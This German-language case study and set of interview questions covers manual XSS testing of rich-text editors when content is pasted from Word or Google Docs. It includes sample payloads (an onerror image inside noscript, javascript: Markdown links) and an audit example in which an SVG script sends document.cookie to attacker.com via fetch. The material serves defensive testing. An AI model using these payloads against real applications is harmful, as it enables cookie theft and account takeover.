Geschichte: Rich-Text-Editoren (RTEs) sind allgegenwärtig in Content-Management-Systemen, stellen jedoch eine kritische Angriffsfläche dar. Wenn Benutzer Inhalte aus Microsoft Word oder Google Docs kopieren, enthält die Zwischenablage reichhaltiges HTML mit proprietären Metadaten, Inline-Stilen und potenziell bösartigen Payloads, die in SVG-Tags oder CSS-Ausdrücken verborgen sind. Das Kernproblem ist, dass naive Sanitierung sichtbare Formatierungen entfernen könnte, während ausführbare Skripts übersehen werden, oder umgekehrt, übermäßig sanitisiert wird und legitime semantische Strukturen wie komplexe Tabellen zerstört werden. Eine systematische manuelle Testmethodik muss sowohl die Sicherheit (keine XSS) als auch die Treue (bewahrte Struktur) überprüfen.
Lösung: Implementieren Sie ein Drei-Phasen-Zwischenablage-Angriffsprotokoll:
Vektorvorbereitung: Kuratieren Sie eine Bibliothek von Einfüge-Payloads, einschließlich SVG mit eingebettetem <foreignObject> mit Skripten, CSS behavior: url(#default#VML) für ältere IE, HTML-entitätskodierte javascript: Protokolle und fehlerhafte HTML5-Tags, die darauf abzielen, Fehler im Browserparser auszunutzen (z.B. <noscript><img src=x onerror=alert(1)></noscript>).
Cross-Engine Einfügesimulation: Führen Sie tatsächliche Kopier- und Einfügevorgänge (nicht tippen) von Word (mit nachverfolgten Änderungen, Kommentaren und eingebetteten Excel-Objekten), Google Docs (mit vorgeschlagenen Bearbeitungen und eingebetteten Zeichnungen) und rohem HTML, das aus den Browser DevTools kopiert wurde, durch. Testen Sie in Chrome, Safari, Firefox und Edge separat, da jeder die Clipboard-MIME-Typen (text/html vs application/rtf) unterschiedlich behandelt.
Zustandsüberprüfung: Überprüfen Sie nach dem Einfügen den DOM über die DevTools, um sicherzustellen, dass on*-Ereignishandler, javascript:-URLs und <script>-Tags abwesend sind, während Sie überprüfen, dass semantische Elemente (<thead>, <colgroup>, verschachtelte Listen) intakt bleiben. Speichern Sie dann den Inhalt, laden Sie die Seite neu und überprüfen Sie das serialisierte HTML erneut, um Mutation XSS zu erkennen, bei dem der Browserparser Skripte während der Neurendering wiederherstellt.
Problem: Ein Rechtstechnologie-Startup entwickelte eine Vertragsprüfungsanwendung mit TinyMCE, in der Anwälte Klauseln aus Microsoft Word einfügten. Ein Sicherheitsaudit ergab, dass Verträge mit Anbieterlogos (im SVG-Format) beliebigen JavaScript ausführten, wenn sie im Dashboard des Prüfers angezeigt wurden. Die SVG-Dateien enthielten <script>fetch('https://attacker.com?cookie='+document.cookie)</script> innerhalb von <foreignObject>-Tags. Der Editor zeigte sie als harmlose Bilder an, aber das rohe HTML, das in der PostgreSQL-Datenbank gespeichert war, wurde in der schreibgeschützten Ansicht ausgeführt, die dangerouslySetInnerHTML in React ohne sekundäre Sanitizierung verwendete.
In Betracht gezogene Lösungen:
Lösung A: Alle HTML entfernen und in reinen Text umwandeln. Vorteile: Absolute Sicherheitsgarantie; kein XSS möglich. Nachteile: Anwälte verloren wichtige Formatierungen wie Einrückungen für Vertragsunterklauseln, farbliche Hervorhebungen zur Risikobewertung und Tabellenstrukturen für Gebührenlisten. Dies machte die Anwendung für rechtliche Workflows unbrauchbar und führte zur sofortigen Ablehnung durch die Benutzer.
Lösung B: Verlassen Sie sich ausschließlich auf klientseitige DOMPurify mit einer permissiven Konfiguration. Vorteile: Bewahrt Benutzererfahrung und Formatierung; einfach zu implementieren. Nachteile: Die clientseitige Sanitisierung kann durch direktes Aufrufen der REST API mit bösartigen Payloads umgangen werden, wodurch der Editor vollständig umgangen wird. Darüber hinaus erlauben die Standardeinstellungen von DOMPurify SVG-Tags und Datenattribute, die in bestimmten Versionen von Android WebView ausgeführt werden.
Lösung C: Implementieren Sie Defense-in-Depth mit aggressivem clientseitigen Reinigen für sofortiges Feedback, kombiniert mit serverseitiger Sanitizierung unter Verwendung des OWASP Java HTML Sanitizer mit einer strengen Politik, die nur strukturelle Tags zulässt. Vorteile: Erfasst Umgehungsversuche auf der API-Ebene; ermöglicht notwendige rechtliche Formatierung, während Skripte neutralisiert werden. Nachteile: Erfordert die Pflege von zwei Richtlinienkonfigurationen (Frontend und Backend); Risiko von Leistungsabfällen bei der Verarbeitung von Verträgen über 100 Seiten; Möglichkeit von „Zustimmungsdialogen“, wenn Richtlinien nicht übereinstimmen.
Ausgewählte Lösung: Wir wählten Lösung C und fügten einen manuellen QA-Checkpunkt speziell für Einfügevorgänge hinzu. Das QA-Team erstellte eine „Malicious Clipboard Suite“, die mehr als 75 CSP-Umgehungsvektoren enthielt, darunter SVG-Animationen und MathML-Container. Sie entdeckten, dass DOMPurify's ALLOWED_URI_REGEXP javascript:-URLs erlaubte, die mit HTML-Entitäten kodiert waren. Sie konfigurierten den Sanitizer so, dass alle SVG in statische <img>-Tags mit Base64-Kodierung umgewandelt wurden, wobei alle interaktiven Elemente entfernt wurden.
Ergebnis: Die Verwundbarkeit wurde vor der Produktionsfreigabe behoben. Die Methodik identifizierte zwei zusätzliche mXSS-Vektoren, die sich in ausführbare Skripte im Reader-Modus von Safari verwandelten. Das juristische Team behielt alle Formatierungsmöglichkeiten bei, und anschließende Penetrationstests fanden keine Injektionsvektoren in der Einfügepipeline.
Wie können Sie mutation XSS (mXSS) erkennen, bei dem der Parser des Browsers den sanitisierten String nach der Einfügung ändert und ausführbare Skripte neu erstellt?
Viele Kandidaten überprüfen das HTML unmittelbar nach dem Einfügen über die „Quellansicht“ des Editors oder die DevTools. Allerdings treten mXSS-Exploits auf, wenn der sanitisierte String innerHTML zugewiesen wird, der Browser ihn analysiert und der resultierende DOM vom ursprünglichen String abweicht aufgrund von Parser-Normalisierung (z.B. <noscript><img title="--><script>...-Mutationen). Der richtige Ansatz besteht darin, einen Round-Trip-Test durchzuführen: Serialisieren Sie den DOM zurück zu einem String unter Verwendung von element.innerHTML nach der Einfügung und vergleichen Sie ihn dann mit dem erwarteten sanitisierten Ergebnis. Wenn neue <script>-Tags oder Ereignishandler nach dieser Serialisierung erscheinen, ist der Sanitizer verwundbar. Testen Sie zudem spezifisch in IE11, falls unterstützt, da das Parserverhalten für fehlerhafte Tabellen erheblich von Blink oder Gecko abweicht.
Warum könnte der Inhalt im Editor korrekt und sicher eingefügt werden, aber bei der späteren Lade von denselben Inhalten in einer schreibgeschützten React-Ansicht über dangerouslySetInnerHTML die Sicherheitsvalidierung fehlschlagen?
Kandidaten übersehen oft „kontextuelle Sanitizierungsdrift“. Rich-Text-Editoren sanitizieren für den Bearbeitungskontext, aber der Ansichts kontekt könnte unterschiedliche React-Versionen, Content Security Policy-Header oder zusätzliche JavaScript-Bibliotheken verwenden, die den Inhalt erneut analysieren. Die Antwort ist, dass Sie den gespeicherten Inhalt durch den gesamten Lebenszyklus überprüfen müssen: Einfügen → Speichern in API → Abrufen von API → Rendern in schreibgeschützter Ansicht. Überprüfen Sie speziell auf Double-Encoding-Probleme, bei denen < zu &lt; während der Datenspeicherung in der Datenbank wird, oder auf Unicode-Normalisierungs-Unterschiede zwischen der UTF-8-Handhabung des Editors und der Kollation der Datenbank. Testen Sie mit Payloads, die smarte Anführungszeichen (geschwungene Anführungszeichen) und Gedankenstriche enthalten, die Word automatisch ersetzt, um sicherzustellen, dass die UTF-8MB4-Konfiguration der Datenbank nicht mehrbyte Zeichen abschneidet, wodurch die Grenzen der Sanitizierung unterbrochen und eine Skriptinjektion ermöglicht werden kann.
Wie würden Sie das Sanit behavior manuell validieren, wenn die Anwendung einen Markdown-basierten Editor (wie CKEditor 5 mit Markdown-Ausgabe) anstelle von rohem HTML-Speicher verwendet?
Dies testet das Verständnis der Risiken bei der Formatkonvertierung. Wenn Editoren HTML in Markdown (z.B. über Turndown) konvertieren, können bösartige Payloads in HTML-Attributen versteckt werden, die kein Markdown-Äquivalent haben, und möglicherweise unvollständig entfernt oder in Linkreferenzen umgewandelt werden, die beim Klicken ausgeführt werden. Die korrekte Methodik umfasst: (1) Einfügen des bösartigen HTML in den Editor, (2) Wechseln zur Markdown-Quellansicht, um zu überprüfen, dass gefährliche Attribute entfernt wurden (nicht nur visuell verborgen), (3) Konvertieren zurück zu HTML (falls unterstützt), um sicherzustellen, dass die Rückführung keine Skripte wiederherstellt, und (4) Überprüfen, dass die Markdown-Link-Syntax [text](javascript:alert(1)) ausdrücklich durch den Linkvalidierungsregex des Parsers blockiert wird, nicht nur durch den Renderer. Überprüfen Sie außerdem, dass HTML-Kommentare <!-- --> (die Markdown-Parser brechen können) entfernt werden, um die Speicherung sensibler serverseitiger Daten zu verhindern.